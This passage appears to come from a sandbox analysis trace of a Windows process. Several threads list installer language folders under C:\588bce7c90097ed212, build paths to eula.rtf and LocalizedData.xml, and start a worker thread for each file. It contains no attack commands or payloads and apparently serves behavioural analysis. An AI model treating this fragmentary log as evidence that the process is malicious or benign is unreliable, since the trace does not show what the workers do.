returned="C:\\588bce7c90097ed212\\1045\\" [0062.370] wcscat (in: _Dest=0x33e8668, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" [0062.370] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e8668, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f0 [0062.372] FindNextFileW (in: hFindFile=0x3433aa8, lpFindFileData=0x342db30 | out: lpFindFileData=0x342db30*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0062.373] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0062.373] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0062.373] FindNextFileW (in: hFindFile=0x3433aa8, lpFindFileData=0x342db30 | out: lpFindFileData=0x342db30*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0062.373] FindClose (in: hFindFile=0x3433aa8 | out: hFindFile=0x3433aa8) returned 1 [0062.375] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342db30) returned 1 [0062.375] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce48) returned 1 [0062.375] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33dfe18) returned 1 [0062.375] RtlExitUserThread (Status=0x0) Thread: id = 49 os_tid = 0x48c [0060.305] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3a) returned 0x33fce90 [0060.305] wcscpy (in: _Dest=0x33fce90, _Source="C:\\588bce7c90097ed212\\1046" | out: _Dest="C:\\588bce7c90097ed212\\1046") returned="C:\\588bce7c90097ed212\\1046" [0060.305] wcscat (in: _Dest=0x33fce90, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1046\\") returned="C:\\588bce7c90097ed212\\1046\\" [0060.305] wcscat (in: _Dest=0x33fce90, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1046\\*") returned="C:\\588bce7c90097ed212\\1046\\*" [0060.305] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342e268 [0060.305] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x342e268 | out: lpFindFileData=0x342e268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433a68 [0060.309] wcscmp (_String1=".", _String2=".") returned 0 [0060.309] FindNextFileW (in: hFindFile=0x3433a68, lpFindFileData=0x342e268 | out: lpFindFileData=0x342e268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.309] wcscmp (_String1="..", _String2=".") returned 1 [0060.309] wcscmp (_String1="..", _String2="..") returned 0 [0060.309] FindNextFileW (in: hFindFile=0x3433a68, lpFindFileData=0x342e268 | out: lpFindFileData=0x342e268*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe63, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0060.309] wcscmp (_String1="eula.rtf", _String2=".") returned 1 [0060.310] wcscmp (_String1="eula.rtf", _String2="..") returned 1 [0060.310] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x33fac38 [0060.310] wcscpy (in: _Dest=0x33fac38, _Source="C:\\588bce7c90097ed212\\1046" | out: _Dest="C:\\588bce7c90097ed212\\1046") returned="C:\\588bce7c90097ed212\\1046" [0060.310] wcscat (in: _Dest=0x33fac38, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1046\\") returned="C:\\588bce7c90097ed212\\1046\\" [0060.310] wcscat (in: _Dest=0x33fac38, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned="C:\\588bce7c90097ed212\\1046\\eula.rtf" [0062.376] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33fac38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x56c [0062.377] FindNextFileW (in: hFindFile=0x3433a68, lpFindFileData=0x342e268 | out: lpFindFileData=0x342e268*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0062.377] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1 [0062.377] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1 [0062.377] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x33e8328 [0062.377] wcscpy (in: _Dest=0x33e8328, _Source="C:\\588bce7c90097ed212\\1046" | out: _Dest="C:\\588bce7c90097ed212\\1046") returned="C:\\588bce7c90097ed212\\1046" [0062.377] wcscat (in: _Dest=0x33e8328, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1046\\") returned="C:\\588bce7c90097ed212\\1046\\" [0062.377] wcscat (in: _Dest=0x33e8328, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" [0062.377] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e8328, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f4 [0062.378] FindNextFileW (in: hFindFile=0x3433a68, lpFindFileData=0x342e268 | out: lpFindFileData=0x342e268*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0062.378] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0062.378] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0062.378] FindNextFileW (in: hFindFile=0x3433a68, lpFindFileData=0x342e268 | out: lpFindFileData=0x342e268*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0062.378] FindClose (in: hFindFile=0x3433a68 | out: hFindFile=0x3433a68) returned 1 [0062.378] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e268) returned 1 [0062.378] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce90) returned 1 [0062.378] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e0798) returned 1 [0062.378] RtlExitUserThread (Status=0x0) Thread: id = 50 os_tid = 0xf68 [0060.306] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3a) returned 0x33fced8 [0060.306] wcscpy (in: _Dest=0x33fced8, _Source="C:\\588bce7c90097ed212\\1049" | out: _Dest="C:\\588bce7c90097ed212\\1049") returned="C:\\588bce7c90097ed212\\1049" [0060.306] wcscat (in: _Dest=0x33fced8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1049\\") returned="C:\\588bce7c90097ed212\\1049\\" [0060.306] wcscat (in: _Dest=0x33fced8, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1049\\*") returned="C:\\588bce7c90097ed212\\1049\\*" [0060.306] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342c7f0 [0060.306] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x342c7f0 | out: lpFindFileData=0x342c7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433868 [0060.311] wcscmp (_String1=".", _String2=".") returned 0 [0060.311] FindNextFileW (in: hFindFile=0x3433868, lpFindFileData=0x342c7f0 | out: lpFindFileData=0x342c7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.311] wcscmp (_String1="..", _String2=".") returned 1 [0060.311] wcscmp (_String1="..", _String2="..") returned 0 [0060.311] FindNextFileW (in: hFindFile=0x3433868, lpFindFileData=0x342c7f0 | out: lpFindFileData=0x342c7f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0060.311] wcscmp (_String1="eula.rtf", _String2=".") returned 1 [0060.311] wcscmp (_String1="eula.rtf", _String2="..") returned 1 [0060.311] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x33fac88 [0060.312] wcscpy (in: _Dest=0x33fac88, _Source="C:\\588bce7c90097ed212\\1049" | out: _Dest="C:\\588bce7c90097ed212\\1049") returned="C:\\588bce7c90097ed212\\1049" [0060.312] wcscat (in: _Dest=0x33fac88, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1049\\") returned="C:\\588bce7c90097ed212\\1049\\" [0060.312] wcscat (in: _Dest=0x33fac88, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned="C:\\588bce7c90097ed212\\1049\\eula.rtf" [0062.363] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33fac88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x578 [0062.364] FindNextFileW (in: hFindFile=0x3433868, lpFindFileData=0x342c7f0 | out: lpFindFileData=0x342c7f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13e4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0062.364] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1 [0062.364] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1 [0062.364] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x33e81f0 [0062.364] wcscpy (in: _Dest=0x33e81f0, _Source="C:\\588bce7c90097ed212\\1049" | out: _Dest="C:\\588bce7c90097ed212\\1049") returned="C:\\588bce7c90097ed212\\1049" [0062.364] wcscat (in: _Dest=0x33e81f0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1049\\") returned="C:\\588bce7c90097ed212\\1049\\" [0062.364] wcscat (in: _Dest=0x33e81f0, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" [0062.364] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e81f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e8 [0062.365] FindNextFileW (in: hFindFile=0x3433868, lpFindFileData=0x342c7f0 | out: lpFindFileData=0x342c7f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0062.365] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0062.365] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0062.365] FindNextFileW (in: hFindFile=0x3433868, lpFindFileData=0x342c7f0 | out: lpFindFileData=0x342c7f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0062.365] FindClose (in: hFindFile=0x3433868 | out: hFindFile=0x3433868) returned 1 [0062.365] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c7f0) returned 1 [0062.365] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fced8) returned 1 [0062.365] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e0198) returned 1 [0062.365] RtlExitUserThread (Status=0x0) Thread: id = 51 os_tid = 0xdd8 [0060.307] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3a) returned 0x33fda60 [0060.307] wcscpy (in: _Dest=0x33fda60, _Source="C:\\588bce7c90097ed212\\1053" | out: _Dest="C:\\588bce7c90097ed212\\1053") returned="C:\\588bce7c90097ed212\\1053" [0060.307] wcscat (in: _Dest=0x33fda60, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1053\\") returned="C:\\588bce7c90097ed212\\1053\\" [0060.307] wcscat (in: _Dest=0x33fda60, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1053\\*") returned="C:\\588bce7c90097ed212\\1053\\*" [0060.307] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342ccc0 [0060.307] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x342ccc0 | out: lpFindFileData=0x342ccc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433fe8 [0060.309] wcscmp (_String1=".", _String2=".") returned 0 [0060.309] FindNextFileW (in: hFindFile=0x3433fe8, lpFindFileData=0x342ccc0 | out: lpFindFileData=0x342ccc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.309] wcscmp (_String1="..", _String2=".") returned 1 [0060.309] wcscmp (_String1="..", _String2="..") returned 0 [0060.309] FindNextFileW (in: hFindFile=0x3433fe8, lpFindFileData=0x342ccc0 | out: lpFindFileData=0x342ccc0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf19, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0060.309] wcscmp (_String1="eula.rtf", _String2=".") returned 1 [0060.309] wcscmp (_String1="eula.rtf", _String2="..") returned 1 [0060.309] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x33fa7d8 [0060.309] wcscpy (in: _Dest=0x33fa7d8, _Source="C:\\588bce7c90097ed212\\1053" | out: _Dest="C:\\588bce7c90097ed212\\1053") returned="C:\\588bce7c90097ed212\\1053" [0060.309] wcscat (in: _Dest=0x33fa7d8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1053\\") returned="C:\\588bce7c90097ed212\\1053\\" [0060.309] wcscat (in: _Dest=0x33fa7d8, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned="C:\\588bce7c90097ed212\\1053\\eula.rtf" [0062.379] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33fa7d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x568 [0062.380] FindNextFileW (in: hFindFile=0x3433fe8, lpFindFileData=0x342ccc0 | out: lpFindFileData=0x342ccc0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0062.380] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1 [0062.380] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1 [0062.380] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x33e8390 [0062.380] wcscpy (in: _Dest=0x33e8390, _Source="C:\\588bce7c90097ed212\\1053" | out: _Dest="C:\\588bce7c90097ed212\\1053") returned="C:\\588bce7c90097ed212\\1053" [0062.380] wcscat (in: _Dest=0x33e8390, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1053\\") returned="C:\\588bce7c90097ed212\\1053\\" [0062.380] wcscat (in: _Dest=0x33e8390, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" [0062.380] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e8390, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f8 [0062.381] FindNextFileW (in: hFindFile=0x3433fe8, lpFindFileData=0x342ccc0 | out: lpFindFileData=0x342ccc0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0062.381] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0062.381] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0062.381] FindNextFileW (in: hFindFile=0x3433fe8, lpFindFileData=0x342ccc0 | out: lpFindFileData=0x342ccc0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0062.381] FindClose (in: hFindFile=0x3433fe8 | out: hFindFile=0x3433fe8) returned 1 [0062.381] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ccc0) returned 1 [0062.381] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0062.381] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e0658) returned 1 [0062.381] RtlExitUserThread (Status=0x0) Thread: id = 52 os_tid = 0x754 [0060.307] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3a) returned 0x33fdaa8 [0060.307] wcscpy (in: _Dest=0x33fdaa8, _Source="C:\\588bce7c90097ed212\\1055" | out: _Dest="C:\\588bce7c90097ed212\\1055") returned="C:\\588bce7c90097ed212\\1055" [0060.307] wcscat (in: _Dest=0x33fdaa8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1055\\") returned="C:\\588bce7c90097ed212\\1055\\" [0060.307] wcscat (in: _Dest=0x33fdaa8, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1055\\*") returned="C:\\588bce7c90097ed212\\1055\\*" [0060.307] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342dd98 [0060.308] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x342dd98 | out: lpFindFileData=0x342dd98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433828 [0060.311] wcscmp (_String1=".", _String2=".") returned 0 [0060.311] FindNextFileW (in: hFindFile=0x3433828, lpFindFileData=0x342dd98 | out: lpFindFileData=0x342dd98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.311] wcscmp (_String1="..", _String2=".") returned 1 [0060.311] wcscmp (_String1="..", _String2="..") returned 0 [0060.311] FindNextFileW (in: hFindFile=0x3433828, lpFindFileData=0x342dd98 | out: lpFindFileData=0x342dd98*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf13, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0060.311] wcscmp (_String1="eula.rtf", _String2=".") returned 1 [0060.311] wcscmp (_String1="eula.rtf", _String2="..") returned 1 [0060.311] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x33fa828 [0060.311] wcscpy (in: _Dest=0x33fa828, _Source="C:\\588bce7c90097ed212\\1055" | out: _Dest="C:\\588bce7c90097ed212\\1055") returned="C:\\588bce7c90097ed212\\1055" [0060.311] wcscat (in: _Dest=0x33fa828, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1055\\") returned="C:\\588bce7c90097ed212\\1055\\" [0060.311] wcscat (in: _Dest=0x33fa828, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned="C:\\588bce7c90097ed212\\1055\\eula.rtf" [0062.366] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33fa828, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x574 [0062.367] FindNextFileW (in: hFindFile=0x3433828, lpFindFileData=0x342dd98 | out: lpFindFileData=0x342dd98*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0062.367] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1 [0062.367] wcscmp (_String1="LocalizedData.xml", 